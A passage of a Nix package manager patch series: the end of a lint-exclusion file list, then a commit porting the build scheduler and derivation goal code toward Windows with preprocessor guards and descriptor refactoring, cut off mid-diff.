''^src/libstore/build/goal\.cc$'' - ''^src/libstore/build/goal\.hh$'' - ''^src/libstore/unix/build/hook-instance\.cc$'' - ''^src/libstore/unix/build/local-derivation-goal\.cc$'' - ''^src/libstore/unix/build/local-derivation-goal\.hh$'' - ''^src/libstore/build/substitution-goal\.cc$'' - ''^src/libstore/build/substitution-goal\.hh$'' - ''^src/libstore/build/worker\.cc$'' - ''^src/libstore/build/worker\.hh$'' - ''^src/libstore/unix/builtins/fetchurl\.cc$'' - ''^src/libstore/unix/builtins/unpack-channel\.cc$'' - ''^src/libstore/gc\.cc$'' - ''^src/libstore/unix/local-overlay-store\.cc$'' - ''^src/libstore/unix/local-overlay-store\.hh$'' - ''^src/libstore/local-store\.cc$'' - ''^src/libstore/local-store\.hh$'' - ''^src/libstore/unix/user-lock\.cc$'' - ''^src/libstore/unix/user-lock\.hh$'' - ''^src/libstore/optimise-store\.cc$'' - ''^src/libstore/unix/pathlocks\.cc$'' - ''^src/libstore/posix-fs-canonicalise\.cc$'' - ''^src/libstore/posix-fs-canonicalise\.hh$'' - ''^src/libstore/uds-remote-store\.cc$'' - ''^src/libstore/uds-remote-store\.hh$'' - ''^src/libstore/windows/build\.cc$'' - ''^src/libstore/worker-protocol-impl\.hh$'' - ''^src/libstore/worker-protocol\.cc$'' - ''^src/libstore/worker-protocol\.hh$'' - ''^src/libutil-c/nix_api_util_internal\.h$'' - ''^src/libutil/archive\.cc$'' - ''^src/libutil/archive\.hh$'' - ''^src/libutil/args\.cc$'' - ''^src/libutil/args\.hh$'' - ''^src/libutil/args/root\.hh$'' - ''^src/libutil/callback\.hh$'' - ''^src/libutil/canon-path\.cc$'' - ''^src/libutil/canon-path\.hh$'' - ''^src/libutil/chunked-vector\.hh$'' - ''^src/libutil/closure\.hh$'' - ''^src/libutil/comparator\.hh$'' - ''^src/libutil/compute-levels\.cc$'' - ''^src/libutil/config-impl\.hh$'' - ''^src/libutil/config\.cc$'' - ''^src/libutil/config\.hh$'' - ''^src/libutil/current-process\.cc$'' - ''^src/libutil/current-process\.hh$'' - ''^src/libutil/english\.cc$'' - ''^src/libutil/english\.hh$'' - ''^src/libutil/environment-variables\.cc$'' - ''^src/libutil/error\.cc$'' - ''^src/libutil/error\.hh$'' - ''^src/libutil/exit\.hh$'' - ''^src/libutil/experimental-features\.cc$'' - ''^src/libutil/experimental-features\.hh$'' - ''^src/libutil/file-content-address\.cc$'' - ''^src/libutil/file-content-address\.hh$'' - ''^src/libutil/file-descriptor\.cc$'' - ''^src/libutil/file-descriptor\.hh$'' - ''^src/libutil/file-path-impl\.hh$'' - ''^src/libutil/file-path\.hh$'' - ''^src/libutil/file-system\.cc$'' - ''^src/libutil/file-system\.hh$'' - ''^src/libutil/finally\.hh$'' - ''^src/libutil/fmt\.hh$'' - ''^src/libutil/fs-sink\.cc$'' - ''^src/libutil/fs-sink\.hh$'' - ''^src/libutil/git\.cc$'' - ''^src/libutil/git\.hh$'' - ''^src/libutil/hash\.cc$'' - ''^src/libutil/hash\.hh$'' - ''^src/libutil/hilite\.cc$'' - ''^src/libutil/hilite\.hh$'' - ''^src/libutil/source-accessor\.hh$'' - ''^src/libutil/json-impls\.hh$'' - ''^src/libutil/json-utils\.cc$'' - ''^src/libutil/json-utils\.hh$'' - ''^src/libutil/linux/cgroup\.cc$'' - ''^src/libutil/linux/namespaces\.cc$'' - ''^src/libutil/logging\.cc$'' - ''^src/libutil/logging\.hh$'' - ''^src/libutil/lru-cache\.hh$'' - ''^src/libutil/memory-source-accessor\.cc$'' - ''^src/libutil/memory-source-accessor\.hh$'' - ''^src/libutil/pool\.hh$'' - ''^src/libutil/position\.cc$'' - ''^src/libutil/position\.hh$'' - ''^src/libutil/posix-source-accessor\.cc$'' - ''^src/libutil/posix-source-accessor\.hh$'' - ''^src/libutil/processes\.hh$'' - ''^src/libutil/ref\.hh$'' - ''^src/libutil/references\.cc$'' - ''^src/libutil/references\.hh$'' - ''^src/libutil/regex-combinators\.hh$'' - ''^src/libutil/serialise\.cc$'' - ''^src/libutil/serialise\.hh$'' - ''^src/libutil/signals\.hh$'' - ''^src/libutil/signature/local-keys\.cc$'' - ''^src/libutil/signature/local-keys\.hh$'' - ''^src/libutil/signature/signer\.cc$'' - ''^src/libutil/signature/signer\.hh$'' - ''^src/libutil/source-accessor\.cc$'' - ''^src/libutil/source-accessor\.hh$'' - ''^src/libutil/source-path\.cc$'' - ''^src/libutil/source-path\.hh$'' - ''^src/libutil/split\.hh$'' - ''^src/libutil/suggestions\.cc$'' - ''^src/libutil/suggestions\.hh$'' - ''^src/libutil/sync\.hh$'' - ''^src/libutil/terminal\.cc$'' - ''^src/libutil/terminal\.hh$'' - ''^src/libutil/thread-pool\.cc$'' - ''^src/libutil/thread-pool\.hh$'' - ''^src/libutil/topo-sort\.hh$'' - ''^src/libutil/types\.hh$'' - ''^src/libutil/unix/file-descriptor\.cc$'' - ''^src/libutil/unix/file-path\.cc$'' - ''^src/libutil/unix/monitor-fd\.hh$'' - ''^src/libutil/unix/processes\.cc$'' - ''^src/libutil/unix/signals-impl\.hh$'' - ''^src/libutil/unix/signals\.cc$'' - ''^src/libutil/unix-domain-socket\.cc$'' - ''^src/libutil/unix/users\.cc$'' - ''^src/libutil/url-parts\.hh$'' - ''^src/libutil/url\.cc$'' - ''^src/libutil/url\.hh$'' - ''^src/libutil/users\.cc$'' - ''^src/libutil/users\.hh$'' - ''^src/libutil/util\.cc$'' - ''^src/libutil/util\.hh$'' - ''^src/libutil/variant-wrapper\.hh$'' - ''^src/libutil/windows/environment-variables\.cc$'' - ''^src/libutil/windows/file-descriptor\.cc$'' - ''^src/libutil/windows/file-path\.cc$'' - ''^src/libutil/windows/processes\.cc$'' - ''^src/libutil/windows/users\.cc$'' - ''^src/libutil/windows/windows-error\.cc$'' - ''^src/libutil/windows/windows-error\.hh$'' - ''^src/libutil/xml-writer\.cc$'' - ''^src/libutil/xml-writer\.hh$'' - ''^src/nix-build/nix-build\.cc$'' - ''^src/nix-channel/nix-channel\.cc$'' - ''^src/nix-collect-garbage/nix-collect-garbage\.cc$'' - ''^src/nix-env/buildenv.nix$'' - ''^src/nix-env/nix-env\.cc$'' - ''^src/nix-env/user-env\.cc$'' - ''^src/nix-env/user-env\.hh$'' - ''^src/nix-instantiate/nix-instantiate\.cc$'' - ''^src/nix-store/dotgraph\.cc$'' - ''^src/nix-store/graphml\.cc$'' - ''^src/nix-store/nix-store\.cc$'' - ''^src/nix/add-to-store\.cc$'' - ''^src/nix/app\.cc$'' - ''^src/nix/build\.cc$'' - ''^src/nix/bundle\.cc$'' - ''^src/nix/cat\.cc$'' - ''^src/nix/config-check\.cc$'' - ''^src/nix/config\.cc$'' - ''^src/nix/copy\.cc$'' - ''^src/nix/derivation-add\.cc$'' - ''^src/nix/derivation-show\.cc$'' - ''^src/nix/derivation\.cc$'' - ''^src/nix/develop\.cc$'' - ''^src/nix/diff-closures\.cc$'' - ''^src/nix/dump-path\.cc$'' - ''^src/nix/edit\.cc$'' - ''^src/nix/eval\.cc$'' - ''^src/nix/flake\.cc$'' - ''^src/nix/fmt\.cc$'' - ''^src/nix/hash\.cc$'' - ''^src/nix/log\.cc$'' - ''^src/nix/ls\.cc$'' - ''^src/nix/main\.cc$'' - ''^src/nix/make-content-addressed\.cc$'' - ''^src/nix/nar\.cc$'' - ''^src/nix/optimise-store\.cc$'' - ''^src/nix/path-from-hash-part\.cc$'' - ''^src/nix/path-info\.cc$'' - ''^src/nix/prefetch\.cc$'' - ''^src/nix/profile\.cc$'' - ''^src/nix/realisation\.cc$'' - ''^src/nix/registry\.cc$'' - ''^src/nix/repl\.cc$'' - ''^src/nix/run\.cc$'' - ''^src/nix/run\.hh$'' - ''^src/nix/search\.cc$'' - ''^src/nix/sigs\.cc$'' - ''^src/nix/store-copy-log\.cc$'' - ''^src/nix/store-delete\.cc$'' - ''^src/nix/store-gc\.cc$'' - ''^src/nix/store-info\.cc$'' - ''^src/nix/store-repair\.cc$'' - ''^src/nix/store\.cc$'' - ''^src/nix/unix/daemon\.cc$'' - ''^src/nix/upgrade-nix\.cc$'' - ''^src/nix/verify\.cc$'' - ''^src/nix/why-depends\.cc$'' - - ''^tests/functional/plugins/plugintest\.cc'' - ''^tests/functional/test-libstoreconsumer/main\.cc'' - ''^tests/nixos/ca-fd-leak/sender\.c'' - ''^tests/nixos/ca-fd-leak/smuggler\.c'' - ''^tests/unit/libexpr-support/tests/libexpr\.hh'' - ''^tests/unit/libexpr-support/tests/value/context\.cc'' - ''^tests/unit/libexpr-support/tests/value/context\.hh'' - ''^tests/unit/libexpr/derived-path\.cc'' - ''^tests/unit/libexpr/error_traces\.cc'' - ''^tests/unit/libexpr/eval\.cc'' - ''^tests/unit/libexpr/flake/flakeref\.cc'' - ''^tests/unit/libexpr/flake/url-name\.cc'' - ''^tests/unit/libexpr/json\.cc'' - ''^tests/unit/libexpr/main\.cc'' - ''^tests/unit/libexpr/primops\.cc'' - ''^tests/unit/libexpr/search-path\.cc'' - ''^tests/unit/libexpr/trivial\.cc'' - ''^tests/unit/libexpr/value/context\.cc'' - ''^tests/unit/libexpr/value/print\.cc'' - ''^tests/unit/libfetchers/public-key\.cc'' - ''^tests/unit/libstore-support/tests/derived-path\.cc'' - ''^tests/unit/libstore-support/tests/derived-path\.hh'' - ''^tests/unit/libstore-support/tests/libstore\.hh'' - ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' - ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' - ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' - ''^tests/unit/libstore-support/tests/path\.cc'' - ''^tests/unit/libstore-support/tests/path\.hh'' - ''^tests/unit/libstore-support/tests/protocol\.hh'' - ''^tests/unit/libstore/common-protocol\.cc'' - ''^tests/unit/libstore/content-address\.cc'' - ''^tests/unit/libstore/derivation\.cc'' - ''^tests/unit/libstore/derived-path\.cc'' - ''^tests/unit/libstore/downstream-placeholder\.cc'' - ''^tests/unit/libstore/machines\.cc'' - ''^tests/unit/libstore/nar-info-disk-cache\.cc'' - ''^tests/unit/libstore/nar-info\.cc'' - ''^tests/unit/libstore/outputs-spec\.cc'' - ''^tests/unit/libstore/path-info\.cc'' - ''^tests/unit/libstore/path\.cc'' - ''^tests/unit/libstore/serve-protocol\.cc'' - ''^tests/unit/libstore/worker-protocol\.cc'' - ''^tests/unit/libutil-support/tests/characterization\.hh'' - ''^tests/unit/libutil-support/tests/hash\.cc'' - ''^tests/unit/libutil-support/tests/hash\.hh'' - ''^tests/unit/libutil/args\.cc'' - ''^tests/unit/libutil/canon-path\.cc'' - ''^tests/unit/libutil/chunked-vector\.cc'' - ''^tests/unit/libutil/closure\.cc'' - ''^tests/unit/libutil/compression\.cc'' - ''^tests/unit/libutil/config\.cc'' - ''^tests/unit/libutil/file-content-address\.cc'' - ''^tests/unit/libutil/git\.cc'' - ''^tests/unit/libutil/hash\.cc'' - ''^tests/unit/libutil/hilite\.cc'' - ''^tests/unit/libutil/json-utils\.cc'' - ''^tests/unit/libutil/logging\.cc'' - ''^tests/unit/libutil/lru-cache\.cc'' - ''^tests/unit/libutil/pool\.cc'' - ''^tests/unit/libutil/references\.cc'' - ''^tests/unit/libutil/suggestions\.cc'' - ''^tests/unit/libutil/tests\.cc'' - ''^tests/unit/libutil/url\.cc'' - ''^tests/unit/libutil/xml-writer\.cc'' - - # We haven't lintted these files yet (shell) - ''^config/install-sh$'' - ''^misc/systemv/nix-daemon$'' - ''^misc/bash/completion\.sh$'' - ''^misc/fish/completion\.fish$'' - ''^misc/zsh/completion\.zsh$'' - ''^scripts/check-hydra-status\.sh$'' - ''^scripts/create-darwin-volume\.sh$'' - ''^scripts/install-darwin-multi-user\.sh$'' - ''^scripts/install-multi-user\.sh$'' - ''^scripts/install-nix-from-closure\.sh$'' - ''^scripts/install-systemd-multi-user\.sh$'' - ''^src/nix/get-env\.sh$'' - ''^tests/functional/add\.sh$'' - ''^tests/functional/bash-profile\.sh$'' - ''^tests/functional/binary-cache-build-remote\.sh$'' - ''^tests/functional/binary-cache\.sh$'' - ''^tests/functional/brotli\.sh$'' - ''^tests/functional/build-delete\.sh$'' - ''^tests/functional/build-dry\.sh$'' - ''^tests/functional/build-remote-content-addressed-fixed\.sh$'' - ''^tests/functional/build-remote-content-addressed-floating\.sh$'' - ''^tests/functional/build-remote-input-addressed\.sh$'' - ''^tests/functional/build-remote-trustless-after\.sh$'' - ''^tests/functional/build-remote-trustless-should-fail-0\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-0\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-1\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-2\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-3\.sh$'' - ''^tests/functional/build-remote-trustless\.sh$'' - ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$'' - ''^tests/functional/build-remote\.sh$'' - ''^tests/functional/build\.sh$'' - ''^tests/functional/ca/build-cache\.sh$'' - ''^tests/functional/ca/build-dry\.sh$'' - ''^tests/functional/ca/build-with-garbage-path\.sh$'' - ''^tests/functional/ca/build\.sh$'' - ''^tests/functional/ca/common\.sh$'' - ''^tests/functional/ca/concurrent-builds\.sh$'' - ''^tests/functional/ca/derivation-json\.sh$'' - ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$'' - ''^tests/functional/ca/eval-store\.sh$'' - ''^tests/functional/ca/gc\.sh$'' - ''^tests/functional/ca/import-derivation\.sh$'' - ''^tests/functional/ca/new-build-cmd\.sh$'' - ''^tests/functional/ca/nix-copy\.sh$'' - ''^tests/functional/ca/nix-run\.sh$'' - ''^tests/functional/ca/nix-shell\.sh$'' - ''^tests/functional/ca/post-hook\.sh$'' - ''^tests/functional/ca/recursive\.sh$'' - ''^tests/functional/ca/repl\.sh$'' - ''^tests/functional/ca/selfref-gc\.sh$'' - ''^tests/functional/ca/signatures\.sh$'' - ''^tests/functional/ca/substitute\.sh$'' - ''^tests/functional/ca/why-depends\.sh$'' - ''^tests/functional/case-hack\.sh$'' - ''^tests/functional/check-refs\.sh$'' - ''^tests/functional/check-reqs\.sh$'' - ''^tests/functional/check\.sh$'' - ''^tests/functional/chroot-store\.sh$'' - ''^tests/functional/common\.sh$'' - ''^tests/functional/common/init\.sh$'' - ''^tests/functional/completions\.sh$'' - ''^tests/functional/compression-levels\.sh$'' - ''^tests/functional/compute-levels\.sh$'' - ''^tests/functional/config\.sh$'' - ''^tests/functional/db-migration\.sh$'' - ''^tests/functional/debugger\.sh$'' - ''^tests/functional/dependencies\.builder0\.sh$'' - ''^tests/functional/dependencies\.sh$'' - ''^tests/functional/derivation-json\.sh$'' - ''^tests/functional/dump-db\.sh$'' - ''^tests/functional/dyn-drv/build-built-drv\.sh$'' - ''^tests/functional/dyn-drv/common\.sh$'' - ''^tests/functional/dyn-drv/dep-built-drv\.sh$'' - ''^tests/functional/dyn-drv/eval-outputOf\.sh$'' - ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$'' - ''^tests/functional/dyn-drv/recursive-mod-json\.sh$'' - ''^tests/functional/dyn-drv/text-hashed-output\.sh$'' - ''^tests/functional/eval-store\.sh$'' - ''^tests/functional/eval\.sh$'' - ''^tests/functional/experimental-features\.sh$'' - ''^tests/functional/export-graph\.sh$'' - ''^tests/functional/export\.sh$'' - ''^tests/functional/extra-sandbox-profile\.sh$'' - ''^tests/functional/fetchClosure\.sh$'' - ''^tests/functional/fetchGit\.sh$'' - ''^tests/functional/fetchGitRefs\.sh$'' - ''^tests/functional/fetchGitSubmodules\.sh$'' - ''^tests/functional/fetchGitVerification\.sh$'' - ''^tests/functional/fetchMercurial\.sh$'' - ''^tests/functional/fetchPath\.sh$'' - ''^tests/functional/fetchTree-file\.sh$'' - ''^tests/functional/fetchurl\.sh$'' - ''^tests/functional/filter-source\.sh$'' - ''^tests/functional/fixed\.builder1\.sh$'' - ''^tests/functional/fixed\.builder2\.sh$'' - ''^tests/functional/fixed\.sh$'' - ''^tests/functional/flakes/absolute-attr-paths\.sh$'' - ''^tests/functional/flakes/absolute-paths\.sh$'' - ''^tests/functional/flakes/build-paths\.sh$'' - ''^tests/functional/flakes/bundle\.sh$'' - ''^tests/functional/flakes/check\.sh$'' - ''^tests/functional/flakes/circular\.sh$'' - ''^tests/functional/flakes/common\.sh$'' - ''^tests/functional/flakes/config\.sh$'' - ''^tests/functional/flakes/develop\.sh$'' - ''^tests/functional/flakes/flake-in-submodule\.sh$'' - ''^tests/functional/flakes/flakes\.sh$'' - ''^tests/functional/flakes/follow-paths\.sh$'' - ''^tests/functional/flakes/init\.sh$'' - ''^tests/functional/flakes/inputs\.sh$'' - ''^tests/functional/flakes/mercurial\.sh$'' - ''^tests/functional/flakes/prefetch\.sh$'' - ''^tests/functional/flakes/run\.sh$'' - ''^tests/functional/flakes/search-root\.sh$'' - ''^tests/functional/flakes/show\.sh$'' - ''^tests/functional/flakes/unlocked-override\.sh$'' - ''^tests/functional/fmt\.sh$'' - ''^tests/functional/fmt\.simple\.sh$'' - ''^tests/functional/function-trace\.sh$'' - ''^tests/functional/gc-auto\.sh$'' - ''^tests/functional/gc-concurrent\.builder\.sh$'' - ''^tests/functional/gc-concurrent\.sh$'' - ''^tests/functional/gc-concurrent2\.builder\.sh$'' - ''^tests/functional/gc-non-blocking\.sh$'' - ''^tests/functional/gc-runtime\.sh$'' - ''^tests/functional/gc\.sh$'' - ''^tests/functional/git-hashing/common\.sh$'' - ''^tests/functional/git-hashing/simple\.sh$'' - ''^tests/functional/hash-convert\.sh$'' - ''^tests/functional/hash-path\.sh$'' - ''^tests/functional/help\.sh$'' - ''^tests/functional/import-derivation\.sh$'' - ''^tests/functional/impure-derivations\.sh$'' - ''^tests/functional/impure-env\.sh$'' - ''^tests/functional/impure-eval\.sh$'' - ''^tests/functional/install-darwin\.sh$'' - ''^tests/functional/lang-test-infra\.sh$'' - ''^tests/functional/lang\.sh$'' - ''^tests/functional/lang/framework\.sh$'' - ''^tests/functional/legacy-ssh-store\.sh$'' - ''^tests/functional/linux-sandbox\.sh$'' - ''^tests/functional/local-overlay-store/add-lower-inner\.sh$'' - ''^tests/functional/local-overlay-store/add-lower\.sh$'' - ''^tests/functional/local-overlay-store/bad-uris\.sh$'' - ''^tests/functional/local-overlay-store/build-inner\.sh$'' - ''^tests/functional/local-overlay-store/build\.sh$'' - ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$'' - ''^tests/functional/local-overlay-store/check-post-init\.sh$'' - ''^tests/functional/local-overlay-store/common\.sh$'' - ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$'' - ''^tests/functional/local-overlay-store/delete-duplicate\.sh$'' - ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$'' - ''^tests/functional/local-overlay-store/delete-refs\.sh$'' - ''^tests/functional/local-overlay-store/gc-inner\.sh$'' - ''^tests/functional/local-overlay-store/gc\.sh$'' - ''^tests/functional/local-overlay-store/optimise-inner\.sh$'' - ''^tests/functional/local-overlay-store/optimise\.sh$'' - ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$'' - ''^tests/functional/local-overlay-store/redundant-add\.sh$'' - ''^tests/functional/local-overlay-store/remount\.sh$'' - ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$'' - ''^tests/functional/local-overlay-store/stale-file-handle\.sh$'' - ''^tests/functional/local-overlay-store/verify-inner\.sh$'' - ''^tests/functional/local-overlay-store/verify\.sh$'' - ''^tests/functional/logging\.sh$'' - ''^tests/functional/misc\.sh$'' - ''^tests/functional/multiple-outputs\.sh$'' - ''^tests/functional/nar-access\.sh$'' - ''^tests/functional/nested-sandboxing\.sh$'' - ''^tests/functional/nested-sandboxing/command\.sh$'' - ''^tests/functional/nix-build\.sh$'' - ''^tests/functional/nix-channel\.sh$'' - ''^tests/functional/nix-collect-garbage-d\.sh$'' - ''^tests/functional/nix-copy-ssh-common\.sh$'' - ''^tests/functional/nix-copy-ssh-ng\.sh$'' - ''^tests/functional/nix-copy-ssh\.sh$'' - ''^tests/functional/nix-daemon-untrusting\.sh$'' - ''^tests/functional/nix-profile\.sh$'' - ''^tests/functional/nix-shell\.sh$'' - ''^tests/functional/nix_path\.sh$'' - ''^tests/functional/optimise-store\.sh$'' - ''^tests/functional/output-normalization\.sh$'' - ''^tests/functional/parallel\.builder\.sh$'' - ''^tests/functional/parallel\.sh$'' - ''^tests/functional/pass-as-file\.sh$'' - ''^tests/functional/path-from-hash-part\.sh$'' - ''^tests/functional/path-info\.sh$'' - ''^tests/functional/placeholders\.sh$'' - ''^tests/functional/plugins\.sh$'' - ''^tests/functional/post-hook\.sh$'' - ''^tests/functional/pure-eval\.sh$'' - ''^tests/functional/push-to-store-old\.sh$'' - ''^tests/functional/push-to-store\.sh$'' - ''^tests/functional/read-only-store\.sh$'' - ''^tests/functional/readfile-context\.sh$'' - ''^tests/functional/recursive\.sh$'' - ''^tests/functional/referrers\.sh$'' - ''^tests/functional/remote-store\.sh$'' - ''^tests/functional/repair\.sh$'' - ''^tests/functional/restricted\.sh$'' - ''^tests/functional/search\.sh$'' - ''^tests/functional/secure-drv-outputs\.sh$'' - ''^tests/functional/selfref-gc\.sh$'' - ''^tests/functional/shell\.sh$'' - ''^tests/functional/shell\.shebang\.sh$'' - ''^tests/functional/signing\.sh$'' - ''^tests/functional/simple\.builder\.sh$'' - ''^tests/functional/simple\.sh$'' - ''^tests/functional/ssh-relay\.sh$'' - ''^tests/functional/store-info\.sh$'' - ''^tests/functional/structured-attrs\.sh$'' - ''^tests/functional/substitute-with-invalid-ca\.sh$'' - ''^tests/functional/suggestions\.sh$'' - ''^tests/functional/supplementary-groups\.sh$'' - ''^tests/functional/tarball\.sh$'' - ''^tests/functional/test-infra\.sh$'' - ''^tests/functional/test-libstoreconsumer\.sh$'' - ''^tests/functional/timeout\.sh$'' - ''^tests/functional/toString-path\.sh$'' - ''^tests/functional/user-envs-migration\.sh$'' - ''^tests/functional/user-envs-test-case\.sh$'' - ''^tests/functional/user-envs\.builder\.sh$'' - ''^tests/functional/user-envs\.sh$'' - ''^tests/functional/why-depends\.sh$'' - ''^tests/functional/zstd\.sh$'' - ''^tests/unit/libutil/data/git/check-data\.sh$'' - ]; }; - }; # We'll be pulling from this in the main flake From bcdee80a0d80071b05a9c1bc5e649e762dcd1ecc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 27 May 2024 17:54:02 -0400 Subject: [PATCH 0676/1251] More work on the scheduler for windows - Get a rump derivation goal: hook instance will come later, local derivation goal will come after that. - Start cleaning up the channel / waiting code with an abstraction. --- maintainers/flake-module.nix | 4 +- .../{unix => }/build/derivation-goal.cc | 77 ++++++--- .../{unix => }/build/derivation-goal.hh | 10 +- .../build/drv-output-substitution-goal.hh | 11 +- src/libstore/build/substitution-goal.hh | 11 +- src/libstore/build/worker.cc | 163 ++++-------------- src/libstore/build/worker.hh | 23 +-- src/libutil/muxable-pipe.hh | 82 +++++++++ src/libutil/processes.hh | 4 - src/libutil/unix/muxable-pipe.cc | 47 +++++ src/libutil/windows/muxable-pipe.cc | 70 ++++++++ src/libutil/windows/processes.cc | 26 +-- src/libutil/windows/windows-async-pipe.hh | 7 + 13 files changed, 331 insertions(+), 204 deletions(-) rename src/libstore/{unix => }/build/derivation-goal.cc (97%) rename src/libstore/{unix => }/build/derivation-goal.hh (97%) create mode 100644 src/libutil/muxable-pipe.hh create mode 100644 src/libutil/unix/muxable-pipe.cc create mode 100644 src/libutil/windows/muxable-pipe.cc diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 1f19c673a..e0d66cbd3 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -223,8 +223,8 @@ ''^src/libstore/store-api\.cc$'' ''^src/libstore/store-api\.hh$'' ''^src/libstore/store-dir-config\.hh$'' - ''^src/libstore/unix/build/derivation-goal\.cc$'' - ''^src/libstore/unix/build/derivation-goal\.hh$'' + ''^src/libstore/build/derivation-goal\.cc$'' + ''^src/libstore/build/derivation-goal\.hh$'' ''^src/libstore/build/drv-output-substitution-goal\.cc$'' ''^src/libstore/build/drv-output-substitution-goal\.hh$'' ''^src/libstore/build/entry-points\.cc$'' diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc similarity index 97% rename from src/libstore/unix/build/derivation-goal.cc rename to src/libstore/build/derivation-goal.cc index 339f7273b..4226fb61a 100644 --- a/src/libstore/unix/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -1,5 +1,8 @@ #include "derivation-goal.hh" -#include "hook-instance.hh" +#ifndef _WIN32 // TODO enable build hook on Windows +# include "hook-instance.hh" +#endif +#include "processes.hh" #include "worker.hh" #include "builtins.hh" #include "builtins/buildenv.hh" @@ -19,19 +22,8 @@ #include #include -#include -#include -#include -#include #include -#include #include -#include -#include -#include - -#include -#include #include @@ -101,7 +93,9 @@ std::string DerivationGoal::key() void DerivationGoal::killChild() { +#ifndef _WIN32 // TODO enable build hook on Windows hook.reset(); +#endif } @@ -641,9 +635,17 @@ void DerivationGoal::started() buildMode == bmCheck ? "checking outputs of '%s'" : "building '%s'", worker.store.printStorePath(drvPath)); fmt("building '%s'", worker.store.printStorePath(drvPath)); +#ifndef _WIN32 // TODO enable build hook on Windows if (hook) msg += fmt(" on '%s'", machineName); +#endif act = std::make_unique(*logger, lvlInfo, actBuild, msg, - Logger::Fields{worker.store.printStorePath(drvPath), hook ? machineName : "", 1, 1}); + Logger::Fields{worker.store.printStorePath(drvPath), +#ifndef _WIN32 // TODO enable build hook on Windows + hook ? machineName : +#endif + "", + 1, + 1}); mcRunningBuilds = std::make_unique>(worker.runningBuilds); worker.updateProgress(); } @@ -778,7 +780,13 @@ static void movePath(const Path & src, const Path & dst) { auto st = lstat(src); - bool changePerm = (geteuid() && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR)); + bool changePerm = ( +#ifndef _WIN32 + geteuid() +#else + !isRootUser() +#endif + && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR)); if (changePerm) chmod_(src, st.st_mode | S_IWUSR); @@ -796,7 +804,7 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath) tmpPath (the replacement), so we have to move it out of the way first. We'd better not be interrupted here, because if we're repairing (say) Glibc, we end up with a broken system. */ - Path oldPath = fmt("%1%.old-%2%-%3%", storePath, getpid(), random()); + Path oldPath = fmt("%1%.old-%2%-%3%", storePath, getpid(), rand()); if (pathExists(storePath)) movePath(storePath, oldPath); @@ -818,14 +826,20 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath) int DerivationGoal::getChildStatus() { +#ifndef _WIN32 // TODO enable build hook on Windows return hook->pid.kill(); +#else + return 0; +#endif } void DerivationGoal::closeReadPipes() { - hook->builderOut.readSide = -1; - hook->fromHook.readSide = -1; +#ifndef _WIN32 // TODO enable build hook on Windows + hook->builderOut.readSide.close(); + hook->fromHook.readSide.close(); +#endif } @@ -1019,13 +1033,16 @@ void DerivationGoal::buildDone() BuildResult::Status st = BuildResult::MiscFailure; +#ifndef _WIN32 if (hook && WIFEXITED(status) && WEXITSTATUS(status) == 101) st = BuildResult::TimedOut; else if (hook && (!WIFEXITED(status) || WEXITSTATUS(status) != 100)) { } - else { + else +#endif + { assert(derivationType); st = dynamic_cast(&e) ? BuildResult::NotDeterministic : @@ -1112,6 +1129,9 @@ void DerivationGoal::resolvedFinished() HookReply DerivationGoal::tryBuildHook() { +#ifdef _WIN32 // TODO enable build hook on Windows + return rpDecline; +#else if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) return rpDecline; if (!worker.hook) @@ -1205,17 +1225,18 @@ HookReply DerivationGoal::tryBuildHook() } hook->sink = FdSink(); - hook->toHook.writeSide = -1; + hook->toHook.writeSide.close(); /* Create the log file and pipe. */ Path logFile = openLogFile(); - std::set fds; + std::set fds; fds.insert(hook->fromHook.readSide.get()); fds.insert(hook->builderOut.readSide.get()); worker.childStarted(shared_from_this(), fds, false, false); return rpAccept; +#endif } @@ -1251,7 +1272,11 @@ Path DerivationGoal::openLogFile() Path logFileName = fmt("%s/%s%s", dir, baseName.substr(2), settings.compressLog ? ".bz2" : ""); - fdLogFile = open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC | O_CLOEXEC, 0666); + fdLogFile = toDescriptor(open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0666)); if (!fdLogFile) throw SysError("creating log file '%1%'", logFileName); logFileSink = std::make_shared(fdLogFile.get()); @@ -1271,13 +1296,17 @@ void DerivationGoal::closeLogFile() if (logSink2) logSink2->finish(); if (logFileSink) logFileSink->flush(); logSink = logFileSink = 0; - fdLogFile = -1; + fdLogFile.close(); } -bool DerivationGoal::isReadDesc(int fd) +bool DerivationGoal::isReadDesc(Descriptor fd) { +#ifdef _WIN32 // TODO enable build hook on Windows + return false; +#else return fd == hook->builderOut.readSide.get(); +#endif } void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) @@ -1310,6 +1339,7 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) if (logSink) (*logSink)(data); } +#ifndef _WIN32 // TODO enable build hook on Windows if (hook && fd == hook->fromHook.readSide.get()) { for (auto c : data) if (c == '\n') { @@ -1344,6 +1374,7 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) } else currentHookLine += c; } +#endif } diff --git a/src/libstore/unix/build/derivation-goal.hh b/src/libstore/build/derivation-goal.hh similarity index 97% rename from src/libstore/unix/build/derivation-goal.hh rename to src/libstore/build/derivation-goal.hh index 